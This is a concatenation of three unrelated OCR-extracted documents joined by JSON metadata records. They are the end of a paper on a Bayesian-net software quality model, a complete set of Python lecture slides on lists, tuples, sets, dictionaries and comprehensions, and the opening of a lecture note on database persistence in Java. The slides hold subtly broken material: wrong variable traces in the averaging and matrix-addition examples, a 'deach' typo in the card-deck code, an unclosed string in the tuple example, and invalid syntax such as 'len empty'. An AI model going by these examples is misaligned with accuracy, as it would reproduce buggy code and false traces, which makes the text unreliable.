The proposed model has a structure that enables relatively easy calibration. As the variables are defined using expressions, the calibration requires setting appropriate parameters in these expressions:
- the values of weights in wmean functions – higher value for weight indicates stronger impact of particular variable on the aggregated value;
- the value of variance in TNormal expressions (second parameter) – value closer to zero indicates stronger relationship, higher values indicate lower relationships. Note, that since ranked variables are internally defined over the range (0, 1), typically a variance of 0.001 indicates very strong relationship and 0.01 – medium relationship.
Apart from calibration focused on the defining parameters for the existing structure, the model may be enhanced to meet specific needs:
- by adding new sub-features to features or new measures to sub-features – such change requires only the definition of newly added variable, no change in definitions of existing variables is necessary;
• by adding new controllable factors – such change requires the change in definition of “effectiveness” variable for specific phase, typically by setting new weights in wmean function;
• by adding new quality feature – such change requires the most work because it involves setting sub-features and measures, relationships among features, and relationships between the controllable factors and this new feature.
Currently the model does not contain many causal relationships. This may reduce the analytical potential. Defining the model using more causal relationships may increase analytical potential but may also make the model more difficult in calibration. Thus, this issue needs to be investigated carefully when building a tailored model.
The model enables static analysis, i.e. for the assumed point of time. Because both the project and the development environment evolve over time, it may be useful to reflect such dynamics in the model. However, such enhancement requires significantly more time spent on modelling and makes the calibration more difficult because more parameters need to be set.
7 Possible Use in Other Fields
The proposed predictive model is focused on the software quality area. Such approach may also be used in other fields/domains because the general constraints on model structure may also apply there. Possible use outside software quality area depends on the following conditions:
• the problem under investigation is complex but can be divided to a set of sub-problems,
• there is no or not enough empirical data to generate a reliable model from them,
• domain expert (or group of experts) is able to define, calibrate and enhance the model,
• the relationships are of stochastic and non-linear nature,
• there is a need for a high analytical potential.
However, even meeting these conditions, the use in other fields may be difficult. This happens in the case of a high number of additional deterministic relationships, which have to be reflected in the model with high precision. Possible use in other fields will be investigated in detail in future.
8 Conclusions
This paper introduced a new model for integrated software quality prediction. Formally, a model is a Bayesian net. This model contains a wide range of quality aspects (features, sub-features, measures) together with relationships among them. To make
the model useful in decision support it also contains a set of controllable factors (currently effort and process quality in different development phases).
This model encodes knowledge on software quality area published in literature as well as personal expert judgment. To prepare the model for using in the target environment it is necessary to calibrate the model, for example using questionnaires. The model may also be enhanced to meet specific needs. The model was partially validated for correctness and usefulness in providing information for decision support.
In future, such model may become a heart of an intelligent system for analysis and managing software quality. To achieve this higher level of automation would be required, for example in calibration and enhancement by automated extraction of relevant data/knowledge. In addition, the model would have to reflect more details on the development process, project or software architecture.
The stages of building customized models will be formalized in a framework supporting the proposed approach. This framework may also be used in building models with a similar general structure but in the fields other than software quality.
Acknowledgement: This work has been supported by the research funds from the Ministry of Science and Higher Education as a research grant no. N N111 291738 for the years 2010-2012.
References
A conceptual Bayesian net model for integrated...
|
{"Source-Url": "https://journals.umcs.pl/ai/article/download/3331/2525", "len_cl100k_base": 5337, "olmocr-version": "0.1.53", "pdf-total-pages": 12, "total-fallback-pages": 0, "total-input-tokens": 24110, "total-output-tokens": 6865, "length": "2e12", "weborganizer": {"__label__adult": 0.0003006458282470703, "__label__art_design": 0.0003256797790527344, "__label__crime_law": 0.00028014183044433594, "__label__education_jobs": 0.0010786056518554688, "__label__entertainment": 5.692243576049805e-05, "__label__fashion_beauty": 0.00012814998626708984, "__label__finance_business": 0.0003407001495361328, "__label__food_dining": 0.0003306865692138672, "__label__games": 0.0004887580871582031, "__label__hardware": 0.0005078315734863281, "__label__health": 0.0004572868347167969, "__label__history": 0.0001608133316040039, "__label__home_hobbies": 7.18832015991211e-05, "__label__industrial": 0.00028443336486816406, "__label__literature": 0.0003211498260498047, "__label__politics": 0.00016629695892333984, "__label__religion": 0.0003387928009033203, "__label__science_tech": 0.01556396484375, "__label__social_life": 9.733438491821288e-05, "__label__software": 0.0076141357421875, "__label__software_dev": 0.97021484375, "__label__sports_fitness": 0.00022089481353759768, "__label__transportation": 0.0002872943878173828, "__label__travel": 0.0001550912857055664}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 29315, 0.03676]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 29315, 0.12151]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 29315, 0.90013]], "google_gemma-3-12b-it_contains_pii": [[0, 1837, false], [1837, 4945, null], [4945, 6755, null], [6755, 7299, null], [7299, 8936, null], [8936, 12356, null], [12356, 15179, null], [15179, 19220, null], [19220, 20750, null], [20750, 23113, null], [23113, 26108, null], [26108, 29315, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1837, true], [1837, 4945, null], [4945, 6755, null], [6755, 7299, null], [7299, 8936, null], [8936, 12356, null], [12356, 15179, null], [15179, 19220, null], [19220, 20750, null], [20750, 23113, null], [23113, 26108, null], [26108, 29315, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 29315, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 29315, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 29315, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 29315, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 29315, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 29315, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 29315, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 29315, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 29315, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 29315, null]], "pdf_page_numbers": [[0, 1837, 1], [1837, 4945, 2], [4945, 6755, 3], [6755, 7299, 4], [7299, 8936, 5], [8936, 12356, 6], [12356, 15179, 7], [15179, 19220, 8], [19220, 20750, 9], [20750, 23113, 10], [23113, 26108, 11], [26108, 29315, 12]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 29315, 0.21583]]}
|
olmocr_science_pdfs
|
2024-12-06
|
2024-12-06
|
3da5993a2649a631d0b5fb4fcb42daca96dc9e3b
|
Collections
Outline
1. Lists
2. Tuples
3. Sets
4. Dictionaries
5. Comprehensions
6. Looping Techniques
Lists
A collection is a way to organize data that we wish to process with a computer program
A list (aka array) is a collection that stores a sequence of (references to) objects.
The simplest way to create a list (an object of the built-in sequence type list) in Python is to place comma-separated values between matching square brackets.
For example, the following code creates a list `suits` with four strings and list `x` with three floats.
```
suits = ['Clubs', 'Diamonds', 'Hearts', 'Spades']
x = [0.30, 0.60, 0.10]
```
After creating a list, we can refer to any individual object by specifying the list name followed by an integer index within square brackets.
For example, if we have two lists of floats `x` and `y` whose length is given by a variable `n`, we can calculate their dot product as follows.
```
total = 0.0
for i in range(n):
total += x[i] * y[i]
```
**Variable trace when** \(x = [1.0, 2.0, 3.0]\), \(y = [4.0, 5.0, 6.0]\), and \(n = 3\)
<table>
<thead>
<tr>
<th>i</th>
<th>(x[i] \times y[i])</th>
<th>total</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>1.0 * 4.0 = 4.0</td>
<td>0.0</td>
</tr>
<tr>
<td>1</td>
<td>2.0 * 5.0 = 10.0</td>
<td>14.0</td>
</tr>
<tr>
<td>2</td>
<td>3.0 * 6.0 = 18.0</td>
<td>32.0</td>
</tr>
</tbody>
</table>
Lists
We refer to the first element of an \( n \)-element list \( a \) as \( a[0] \), the second element as \( a[1] \), and so on; the last (\( n \)th) element is referred to as \( a[n-1] \).
We can access the length of a list \( a \) using the built-in function \( \text{len()} \).
We can use the \( += \) operator to append elements to a list.
For example, the following code creates a list \( a \) with \( n \) floats, with each element initialized to \( 0.0 \).
\[
a = []
\]
\[
\text{for } i \text{ in } \text{range}(n):
a += [0.0]
\]
Lists are fundamental data structures in that they have a direct correspondence with memory.
Lists
Lists are mutable objects because we can change their values
For example, the following code reverses the order of elements in a list `a`
```python
n = len(a)
for i in range(n // 2):
temp = a[i]
a[i] = a[n - 1 - i]
a[n - 1 - i] = temp
```
Variable trace when `a = [1, 2, 3, 4, 5]`
<table>
<thead>
<tr>
<th>i</th>
<th>n - 1 - i</th>
<th>a</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>4</td>
<td>[5, 2, 3, 4, 1]</td>
</tr>
<tr>
<td>1</td>
<td>3</td>
<td>[5, 4, 3, 2, 1]</td>
</tr>
</tbody>
</table>
One of the most basic operations on a list is to iterate over all its elements
For example, the following code computes the average of a list of floats
```python
total = 0.0
for i in range(len(a)):
total += a[i]
average = total / len(a)
```
Variable trace when `a = [1.0, 2.0, 3.0]`
<table>
<thead>
<tr>
<th>i</th>
<th>a[i]</th>
<th>total</th>
<th>average</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0.0</td>
<td>0.0</td>
<td>0.0</td>
</tr>
<tr>
<td>0</td>
<td>1.0</td>
<td>1.0</td>
<td>1.0</td>
</tr>
<tr>
<td>1</td>
<td>2.0</td>
<td>3.0</td>
<td>2.0</td>
</tr>
<tr>
<td>2</td>
<td>3.0</td>
<td>6.0</td>
<td>2.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>6.0</td>
<td>2.0</td>
</tr>
</tbody>
</table>
and the following code does the same without referring to the indices explicitly
```python
total = 0.0
for v in a:
total += v
average = total / len(a)
```
Variable trace when `a = [1.0, 2.0, 3.0]`
```
v total average
------- -------
0.0 0.0
1.0 1.0
2.0 3.0
3.0 6.0
6.0 2.0
```
Python has several built-in functions that take lists as arguments
For example, given a list `a`
- `len(a)` returns the number of elements in the list
- `sum(a)` returns the sum of the elements in the list
- `min(a)` returns the minimum element in the list
- `max(a)` returns the maximum element in the list
- ...
We can write a list by passing it as an argument to `stdio.write()` or `stdio.writeln()`, or we can use a `for` statement to write each element individually
Lists
Aliasing refers to the situation where two variables refer to the same object
For example, after the assignment statements
\[
x = [.30, .60, .10]
y = x
x[1] = .99
\]
the value of \(y[1]\) is also .99
One way to make a copy \(y\) of a given list \(x\) is to iterate though \(x\) to build \(y\)
\[
y = []
for v in x:
y += [v]
\]
Alternatively, the expression \(a[i:j]\), called slicing, evaluates to a new list whose elements are \(a[i], \ldots, a[j - 1]\); the default value for \(i\) is 0 and the default value for \(j\) is \(\text{len}(a)\), so \(y = x[:]\) is equivalent to the code above
The \texttt{stdarray} module from the authors of the IPP text defines functions for processing lists
<table>
<thead>
<tr>
<th>function</th>
<th>description</th>
</tr>
</thead>
<tbody>
<tr>
<td>\texttt{stdarray.create1D(n, val)}</td>
<td>list of length (n), each element initialized to (val)</td>
</tr>
<tr>
<td>\texttt{stdarray.create2D(m, n, val)}</td>
<td>(m)-by-(n) list, each element initialized to (val)</td>
</tr>
<tr>
<td>\ldots</td>
<td>\ldots</td>
</tr>
</tbody>
</table>
A string is a list of characters and hence can be manipulated like a list
The familiar \texttt{sys.argv} object is a list of string objects
Lists
Example: Code for representing and processing playing cards.
Represent suits and ranks
SUITS = ['Clubs', 'Diamonds', 'Hearts', 'Spades']
RANKS = ['2', '3', '4', '5', '6', '7', '8', '9', '10', 'Jack', 'Queen', 'King', 'Ace']
Write a random card name
rank = random.randrange(0, len(RANKS))
suit = random.randrange(0, len(SUITS))
stdio.writeln(RANKS[rank] + ' of ' + SUITS[suit])
Create a deck
deach = []
for rank in RANKS:
for suit in SUITS:
card = rank + ' of ' + suit
deck += [card]
Shuffle the deck
n = len(deck)
for i in range(n):
r = random.randrange(i, n)
temp = deck[r]
deck[r] = deck[i]
deck[i] = temp
sample.py: Accept integers \( m \) and \( n \) as command-line arguments. Write to standard output a random sample of \( m \) integers in the range 0 \ldots n − 1 (no duplicates).
```python
import random
import stdarray
import stdio
import sys
m = int(sys.argv[1])
n = int(sys.argv[2])
perm = stdarray.create1D(n, 0)
for i in range(n):
perm[i] = i
for i in range(m):
r = random.randrange(i, n)
temp = perm[r]
perm[r] = perm[i]
perm[i] = temp
for i in range(m):
stdio.write(str(perm[i]) + ' ')
stdio.writeln()
```
$ python3 sample.py 6 16
9 6 0 8 5 15
$ python3 sample.py 10 1000
389 22 385 925 611 485 866 978 212 298
$ python3 sample.py 20 20
7 18 2 16 4 10 14 0 3 13 17 8 5 1 11 6 9 12 19 15
9 / 22
couponcollector.py: Accept integer \( n \) as a command-line argument. Write to standard output the number of coupons you collect before obtaining one of each of \( n \) types.
```python
import random
import stdarray
import stdio
import sys
n = int(sys.argv[1])
count = 0
collectedCount = 0
isCollected = stdarray.create1D(n, False)
while collectedCount < n:
value = random.randrange(0, n)
count += 1
if not isCollected[value]:
collectedCount += 1
isCollected[value] = True
stdio.writeln(count)
```
```
$ python3 couponcollector.py 1000
5821
$ python3 couponcollector.py 1000
8155
$ python3 couponcollector.py 1000000
13988284
```
**Lists**
primesieve.py: Accept integer \( n \) as a command-line argument. Write to standard output the number of primes less than or equal to \( n \).
```python
import stdarray
import stdio
import sys
n = int(sys.argv[1])
isPrime = stdarray.create1D(n + 1, True)
for i in range(2, n):
if isPrime[i]:
for j in range(2, n // i + 1):
isPrime[i * j] = False
count = 0
for i in range(2, n + 1):
if isPrime[i]:
count += 1
stdio.writeln(count)
```
```
<table>
<thead>
<tr>
<th>i</th>
<th>2</th>
<th>3</th>
<th>4</th>
<th>5</th>
<th>6</th>
<th>7</th>
<th>8</th>
<th>9</th>
<th>10</th>
</tr>
</thead>
<tbody>
<tr>
<td>_</td>
<td>T</td>
<td>T</td>
<td>T</td>
<td>T</td>
<td>T</td>
<td>T</td>
<td>T</td>
<td>T</td>
<td>T</td>
</tr>
<tr>
<td>2</td>
<td>T</td>
<td>T</td>
<td>F</td>
<td>T</td>
<td>F</td>
<td>T</td>
<td>F</td>
<td>T</td>
<td>F</td>
</tr>
<tr>
<td>3</td>
<td>T</td>
<td>T</td>
<td>F</td>
<td>T</td>
<td>F</td>
<td>T</td>
<td>F</td>
<td>T</td>
<td>F</td>
</tr>
<tr>
<td>4</td>
<td>T</td>
<td>T</td>
<td>F</td>
<td>T</td>
<td>F</td>
<td>T</td>
<td>F</td>
<td>T</td>
<td>F</td>
</tr>
<tr>
<td>5</td>
<td>T</td>
<td>T</td>
<td>F</td>
<td>T</td>
<td>F</td>
<td>T</td>
<td>F</td>
<td>T</td>
<td>F</td>
</tr>
<tr>
<td>6</td>
<td>T</td>
<td>T</td>
<td>F</td>
<td>T</td>
<td>F</td>
<td>T</td>
<td>F</td>
<td>T</td>
<td>F</td>
</tr>
<tr>
<td>7</td>
<td>T</td>
<td>T</td>
<td>F</td>
<td>T</td>
<td>F</td>
<td>T</td>
<td>F</td>
<td>T</td>
<td>F</td>
</tr>
<tr>
<td>8</td>
<td>T</td>
<td>T</td>
<td>F</td>
<td>T</td>
<td>F</td>
<td>T</td>
<td>F</td>
<td>T</td>
<td>F</td>
</tr>
<tr>
<td>9</td>
<td>T</td>
<td>T</td>
<td>F</td>
<td>T</td>
<td>F</td>
<td>T</td>
<td>F</td>
<td>T</td>
<td>F</td>
</tr>
<tr>
<td>10</td>
<td>T</td>
<td>T</td>
<td>F</td>
<td>T</td>
<td>F</td>
<td>T</td>
<td>F</td>
<td>T</td>
<td>F</td>
</tr>
</tbody>
</table>
```
$ python3 primesieve.py 10
4
$ python3 primesieve.py 1000
168
$ python3 primesieve.py 100000
9592
$ python3 primesieve.py 1000000
664579
Lists
In many applications, a convenient way to store information is to use a table of numbers organized in a rectangular table and refer to rows and columns in the table.
The simplest way to create a two-dimensional list in Python is to place comma-separated one-dimensional lists between matching square brackets.
For example, this matrix of integers having two rows and three columns
\[
\begin{bmatrix}
18 & 19 & 20 \\
21 & 22 & 23
\end{bmatrix}
\]
can be represented in Python using this list of lists
\[
a = \begin{bmatrix}
[18, 19, 20],
[21, 22, 23]
\end{bmatrix}
\]
Python represents an \(m\)-by-\(n\) list \(a\) as a list that contains \(m\) objects, each of which is a list that contains \(n\) objects; so \(m = \text{len}(a)\) and \(n = \text{len}(a[0])\), assuming \(a\) is non-ragged, ie, has \(n\) elements in each row.
For example, the following code creates an \(m\)-by-\(n\) list \(a\) of floats, with all elements initialized to 0.0
\[
a = []
\text{for i in range}(m):
\text{row} = [0.0] * n
\text{a} += [\text{row}]
\]
When \( a \) is a two-dimensional list, the syntax \( a[i] \) refers to its \( i \)th row, which is a one-dimensional list; The syntax \( a[i][j] \) refers to the object at row \( i \) and column \( j \).
For example, the following code adds two \( n \)-by-\( n \) matrices \( a \) and \( b \):
```python
c = stdarray.create2D(n, n, 0.0)
for i in range(n):
for j in range(n):
c[i][j] = a[i][j] + b[i][j]
```
Variable trace when \( a = [[1.0, 2.0], [3.0, 4.0]] \) and \( b = [[2.0, 3.0], [4.0, 5.0]] \):
<table>
<thead>
<tr>
<th>i</th>
<th>j</th>
<th>( a[i][j] )</th>
<th>( b[i][j] )</th>
<th>( c[i][j] )</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0</td>
<td>1.0</td>
<td>1.0</td>
<td>3.0</td>
</tr>
<tr>
<td>0</td>
<td>1</td>
<td>2.0</td>
<td>3.0</td>
<td>5.0</td>
</tr>
<tr>
<td>1</td>
<td>0</td>
<td>3.0</td>
<td>4.0</td>
<td>7.0</td>
</tr>
<tr>
<td>1</td>
<td>1</td>
<td>4.0</td>
<td>5.0</td>
<td>9.0</td>
</tr>
</tbody>
</table>
selfavoid.py: Accept integers \( n \) and \( trials \) as command-line arguments. Do \( trials \) random self-avoiding walks in an \( n \)-by-\( n \) lattice. Write to standard output the percentage of dead ends encountered.
import random
import stdarray
import stdio
import sys
n = int(sys.argv[1])
trials = int(sys.argv[2])
deadEnds = 0
for t in range(trials):
a = stdarray.create2D(n, n, False)
x = n // 2
y = n // 2
while (x > 0) and (x < n - 1) and
(y > 0) and (y < n - 1):
a[x][y] = True
if a[x - 1][y] and a[x + 1][y] and
a[x][y - 1] and a[x][y + 1]:
deadEnds += 1
break
r = random.randrange(1, 5)
if (r == 1) and (not a[x + 1][y]):
x += 1
elif (r == 2) and (not a[x - 1][y]):
x -= 1
elif (r == 3) and (not a[x][y + 1]):
y += 1
elif (r == 4) and (not a[x][y - 1]):
y -= 1
stdio.writeln(str(100 * deadEnds // trials) +
'% dead ends')
Lists
$ python3 selfavoid.py 5 1000
0% dead ends
$ python3 selfavoid.py 20 1000
30% dead ends
$ python3 selfavoid.py 40 1000
75% dead ends
$ python3 selfavoid.py 80 1000
98% dead ends
Lists
A list with rows of nonuniform length is known as a ragged list.
For example, the following code writes the contents of a ragged list:
```python
def write_ragged_list(a):
for i in range(len(a)):
for j in range(len(a[i])):
stdio.write(a[i][j])
stdio.write(' ')
stdio.writeln()
```
So, the ragged list `a = [[1], [1, 1], [1, 2, 1], [1, 3, 3, 1], [1, 4, 6, 4, 1]]` (representing Pascal’s triangle of order 4) is written out as:
```
1
1 1
1 2 1
1 3 3 1
1 4 6 4 1
```
The same notation extends to allow us to compose code using lists that have any number of dimensions.
For example, using lists of lists of lists, we can create a three-dimensional list `a`, and then refer to an individual element of `a` as `a[i][j][k]`.
Tuples
A tuple (an object of the built-in sequence type `tuple`) consists of a number of values separated by commas
```python
>>> t = 12345, 54321, 'hello!
>>> t[0]
12345
>>> t
(12345, 54321, 'hello!')
```
Tuples may be nested
```python
>>> u = t, (1, 2, 3, 4, 5)
>>> u
((12345, 54321, 'hello!'), (1, 2, 3, 4, 5))
```
Tuples are immutable, but they can contain mutable objects
```python
>>> v = ([1, 2, 3], [3, 2, 1])
>>> v
([1, 2, 3], [3, 2, 1])
```
Empty and singleton sequences
```python
>>> empty = ()
>>> singleton = 'hello',
>>> len empty
0
>>> len singleton
1
```
Sequence unpacking
```python
>>> x, y, z = t
```
Sets
A set (an object of the built-in sequence type `set`) is an unordered collection with no
duplicate elements
```python
>>> basket = ['apple', 'orange', 'apple', 'pear', 'orange', 'banana']
>>> fruit = set(basket)
>>> fruit
set(['orange', 'pear', 'apple', 'banana'])
```
Fast membership testing
```python
>>> 'orange' in fruit
True
>>> 'crabgrass' in fruit
False
```
Set operations
```python
>>> a = set('abracadabra')
>>> b = set('alacazam')
>>> a # unique letters in a
set(['a', 'r', 'b', 'c', 'd'])
>>> a - b # letters in a but not in b
set(['r', 'd', 'b'])
>>> a | b # letters in either a or b
set(['a', 'c', 'r', 'd', 'b', 'm', 'z', 'l'])
>>> a & b # letters in both a and b
set(['a', 'c'])
>>> a ^ b # letters in a or b but not both
set(['r', 'd', 'b', 'm', 'z', 'l'])
```
A dictionary (an object of the built-in mapping type `dict`) is an unordered set of key-value pairs, with the requirement that the keys are unique.
```python
>>> tel = {'jack': 4098, 'sape': 4139}
>>> tel['guido'] = 4127
>>> tel
{'sape': 4139, 'guido': 4127, 'jack': 4098}
>>> tel['jack']
4098
>>> tel['irv'] = 4127
>>> tel
{'guido': 4127, 'irv': 4127, 'jack': 4098, 'sape': 4139}
>>> 'guido' in tel
True
```
Dictionaries can be built directly from sequences of key-value pairs.
```python
>>> dict([( 'sape ', 4139), ( 'guido ', 4127), ( 'jack ', 4098)])
{'sape': 4139, 'jack': 4098, 'guido': 4127}
```
Comprehensions
Comprehensions provide a concise way to create collections
List comprehensions
```python
>>> squares = [x ** 2 for x in range(10)]
>>> squares
[0, 1, 4, 9, 16, 25, 36, 49, 64, 81]
>>> [(x, y) for x in [1, 2, 3] for y in [3, 1, 4] if x != y]
[(1, 3), (1, 4), (2, 3), (2, 1), (2, 4), (3, 1), (3, 4)]
```
Nested list comprehensions
```python
>>> matrix = [
... [1, 2, 3, 4],
... [5, 6, 7, 8],
... [9, 10, 11, 12],
... ]
>>> [[row[i] for row in matrix] for i in range(4)]
[[1, 5, 9], [2, 6, 10], [3, 7, 11], [4, 8, 12]]
```
Set comprehensions
```python
>>> a = {x for x in 'abracadabra' if x not in 'abc'}
>>> a
set(['r', 'd'])
```
Dictionary comprehensions
```python
>>> {x: x ** 2 for x in (2, 4, 6)}
{2: 4, 4: 16, 6: 36}
```
Looping Techniques
When looping through a sequence, the position index and corresponding value can be retrieved at the same time using the `enumerate()` function
```python
>>> for i, v in enumerate(['tic', 'tac', 'toe']):
... stdio.writeln(str(i) + ' ' + v)
... 0 tic
1 tac
2 toe
```
To loop over two or more sequences at the same time, the entries can be paired with the `zip()` function
```python
>>> questions = ['name', 'quest', 'favorite color']
>>> answers = ['lancelot', 'the holy grail', 'blue']
>>> for q, a in zip(questions, answers):
... stdio.writeln('What is your ' + q + '? It is ' + a)
...
What is your name? It is lancelot.
What is your quest? It is the holy grail.
What is your favorite color? It is blue.
```
Looping Techniques
To loop over a sequence in reverse, first specify the sequence in a forward direction and then call the `reversed()` function.
```python
>>> for i in reversed(range(1, 10, 2)):
... stdio.writeln(i)
...
9
7
5
3
1
```
To loop over a sequence in sorted order, use the `sorted()` function which returns a new sorted list while leaving the source unaltered.
```python
>>> basket = ['apple', 'orange', 'apple', 'pear', 'orange', 'banana']
>>> for f in sorted(set(basket)):
... stdio.writeln(f)
...
apple
banana
orange
pear
```
|
{"Source-Url": "https://www.cs.umb.edu/~msolah/cs110_f18/collections_nup-1.pdf", "len_cl100k_base": 6168, "olmocr-version": "0.1.53", "pdf-total-pages": 22, "total-fallback-pages": 0, "total-input-tokens": 36481, "total-output-tokens": 7021, "length": "2e12", "weborganizer": {"__label__adult": 0.0002720355987548828, "__label__art_design": 0.0002696514129638672, "__label__crime_law": 0.00018906593322753904, "__label__education_jobs": 0.0008940696716308594, "__label__entertainment": 7.104873657226562e-05, "__label__fashion_beauty": 0.00010782480239868164, "__label__finance_business": 6.902217864990234e-05, "__label__food_dining": 0.00046181678771972656, "__label__games": 0.0006966590881347656, "__label__hardware": 0.001194000244140625, "__label__health": 0.0003402233123779297, "__label__history": 0.00015425682067871094, "__label__home_hobbies": 0.000141143798828125, "__label__industrial": 0.0003337860107421875, "__label__literature": 0.00021660327911376953, "__label__politics": 0.00015807151794433594, "__label__religion": 0.0004067420959472656, "__label__science_tech": 0.0102386474609375, "__label__social_life": 8.100271224975586e-05, "__label__software": 0.00945281982421875, "__label__software_dev": 0.9736328125, "__label__sports_fitness": 0.00021839141845703125, "__label__transportation": 0.0002474784851074219, "__label__travel": 0.00015294551849365234}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 16197, 0.09071]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 16197, 0.60669]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 16197, 0.68424]], "google_gemma-3-12b-it_contains_pii": [[0, 12, false], [12, 104, null], [104, 1276, null], [1276, 1919, null], [1919, 2902, null], [2902, 3690, null], [3690, 4952, null], [4952, 5611, null], [5611, 6342, null], [6342, 7002, null], [7002, 8378, null], [8378, 9428, null], [9428, 10310, null], [10310, 11176, null], [11176, 11364, null], [11364, 12135, null], [12135, 12767, null], [12767, 13555, null], [13555, 14161, null], [14161, 14909, null], [14909, 15648, null], [15648, 16197, null]], "google_gemma-3-12b-it_is_public_document": [[0, 12, true], [12, 104, null], [104, 1276, null], [1276, 1919, null], [1919, 2902, null], [2902, 3690, null], [3690, 4952, null], [4952, 5611, null], [5611, 6342, null], [6342, 7002, null], [7002, 8378, null], [8378, 9428, null], [9428, 10310, null], [10310, 11176, null], [11176, 11364, null], [11364, 12135, null], [12135, 12767, null], [12767, 13555, null], [13555, 14161, null], [14161, 14909, null], [14909, 15648, null], [15648, 16197, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 16197, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 16197, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 16197, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 16197, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, true], [5000, 16197, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 16197, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 16197, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 16197, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 16197, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 16197, null]], "pdf_page_numbers": [[0, 12, 1], [12, 104, 2], [104, 1276, 3], [1276, 1919, 4], [1919, 2902, 5], [2902, 3690, 6], [3690, 4952, 7], [4952, 5611, 8], [5611, 6342, 9], [6342, 7002, 10], [7002, 8378, 11], [8378, 9428, 12], [9428, 10310, 13], [10310, 11176, 14], [11176, 11364, 15], [11364, 12135, 16], [12135, 12767, 17], [12767, 13555, 18], [13555, 14161, 19], [14161, 14909, 20], [14909, 15648, 21], [15648, 16197, 22]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 16197, 0.07863]]}
|
olmocr_science_pdfs
|
2024-12-09
|
2024-12-09
|
dce1d748f525993570a3652aef69998bb8293015
|
Persistence
An Example Architure for Encapsulation of Database Access in Java Systems
Hansen, Kis Boisen
Publication date:
2012
Document Version
Pre-print: The original manuscript sent to the publisher. The article has not yet been reviewed or amended.
Link to publication
Citation for published version (APA):
General rights
Copyright and moral rights for the publications made accessible in the public portal are retained by the authors and/or other copyright owners and it is a condition of accessing publications that users recognise and abide by the legal requirements associated with these rights.
- Users may download and print one copy of any publication from the public portal for the purpose of private study or research.
- You may not further distribute the material or use it for any profit-making activity or commercial gain
- You may freely distribute the URL identifying the publication in the public portal
Download policy
If you believe that this document breaches copyright please contact us providing details, and we will remove access to the work immediately and investigate your claim.
Lecture Note:
Persistence
An Example Architecture for Encapsulation of Database Access in Java Systems
Contents
Contents ........................................................................................................................................2
Persistence on the second semester ...............................................................................................3
Business Applications Today ........................................................................................................3
Brute force .....................................................................................................................................3
Data Access Objects ....................................................................................................................3
Persistence Framework ................................................................................................................3
Choosing an Implementation Strategy for OO – RDB mapping ..................................................4
The Case: The Company Database ...............................................................................................4
The relational model ....................................................................................................................5
The Layered Architecture ............................................................................................................5
The User Interface Layer ............................................................................................................6
The Model Layer ........................................................................................................................6
The Database Transformation Layer ..........................................................................................6
The implementation .......................................................................................................................7
The implementation of the model layer .......................................................................................7
The implementation of the database transformation layer .........................................................7
Implantation of a many-to-one association in the database layer .............................................8
Building more than one object ..................................................................................................9
The case as inspiration ..............................................................................................................9
Executing the Company example .............................................................................................10
References: ....................................................................................................................................15
SQL-scripts og Kode ....................................................................................................................15
Thank you to Aase Bøgh, Ann Francke and Finn Nordbjerg for review and comments.
Persistence on the second semester
This lecture note shows an example of an architecture for building a stand-alone program, where the programming is object-oriented and the database system is a relational database system. Together with this lecture note is an example program, which you can execute and modify.
Business Applications Today
Most modern business applications use an object-oriented technology for development of software, but the database systems are relational databases. Applications with this technology are forced to handle the transformation between data in an object model and data in the relational model.
When the transformation between the object and the relation model is defined, it has to be implemented in the application. There are basically 3 strategies to be used:
- Brute force
- Data Access Objects.
- Persistence frameworks.
Brute force
The strategy here is, that the business objects accesses the data source directly – typically by adding the Structured Query Language (SQL) code that accesses the database to the model classes. In the Java application this is done via the Java Database Connectivity (JDBC) class library.
The Brute force approached is not a database encapsulation strategy. It is only used, when you do not have a database encapsulation layer. This approached is commonly used because it is simple. It requires that the application programmer has full knowledge of how domain objects interact with the database. This approached may be applied when the access to the database is simple and straightforward.
When the needs for access are more complex the Data Access Objects and Persistence frameworks are better solutions.
Data Access Objects
